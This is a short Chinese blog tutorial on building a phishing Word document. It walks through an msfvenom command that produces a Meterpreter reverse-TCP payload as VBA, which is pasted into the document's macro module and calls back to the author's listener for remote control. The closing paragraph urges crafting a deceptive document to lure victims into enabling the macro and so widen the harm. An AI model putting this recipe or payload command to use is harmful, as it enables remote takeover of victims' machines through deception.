利用Office实现简单钓鱼
- 2020 年 3 月 8 日
- 筆記
Office宏
office宏,译自英文单词Macro。宏是微软公司为其OFFICE软件包设计的一个特殊功能,软件设计者为了让人们在使用软件进行工作时,避免一再地重复相同的动作而设计出来的一种工具,它利用简单的语法,把常用的动作写成宏,当在工作时,就可以直接利用事先编好的宏自动运行,去完成某项特定的任务,而不必再重复相同的动作,目的是让用户文档中的一些任务自动化。
虽然Office宏会给我们的工作带来便利,但是也埋下了巨大的安全隐患。
先来看一下Office中关于宏的默认设置。
左上角–>文件–>选项

可以看到默认设置为禁用所有宏,并在文件中包含宏的情况下,发出提示。
Office钓鱼
Visual Basic for Applications(VBA)是Visual Basic的一种宏语言,是微软开发出来在其桌面应用程序中执行通用的自动化(OLE)任务的编程语言。主要能用来扩展Windows的应用程序功能,特别是Microsoft Office软件,也可说是一种应用程式视觉化的Basic 脚本。
首先使用msf生成payload:
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.203.129 lport=4444 -f vba -o shellcode.txt

我们来看一下生成的内容:

我们将代码进行粘贴,复制到office宏模板中:
我们首先在开发者工具里,打开Visual Basic
:

如果Office中没有开发工具这一选项,那么请在文件–>选项中进行设置,如下:

回到正轨,我们打开了Visul Basic
,找到ThisDocument
,并将msf生成的代码复制进去保存,如下:

如果出现编译错误的情况,八成是因为shellcode之间多余的回车符和空行造成的。
现在文件保存好了,我们重新打开:

我们可以看到一个关于宏的警告,只要我们不点启用,msf是不会上线的。
现在我们在msf中设置好监听:

开启监听并启用宏:

我们成功拿到了Meterpreter!
由于Office宏隐蔽性差,所以不可单独使用,这时社会工程学便派上了用场。利用人们思维的定向性,制造一个可欺骗度高的文档,来诱惑人们点击,从而使危害扩大化。
